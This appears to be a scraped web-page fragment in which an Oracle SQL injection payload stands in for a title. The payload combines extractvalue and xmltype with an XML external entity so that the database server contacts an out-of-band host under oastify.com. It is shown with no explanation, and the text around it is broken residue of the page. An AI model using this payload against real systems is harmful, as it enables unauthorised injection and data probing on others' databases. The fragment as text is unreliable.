(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % ktcdp SYSTEM "http://uommk5g04w9qn1nrga4343a2ktqmed84w7kz7svh.oasti'||'fy.com/">%ktcdp;]>'),'/l') from dual) Read more about (select extractvalue(xmltype(''),'/l') from dual)
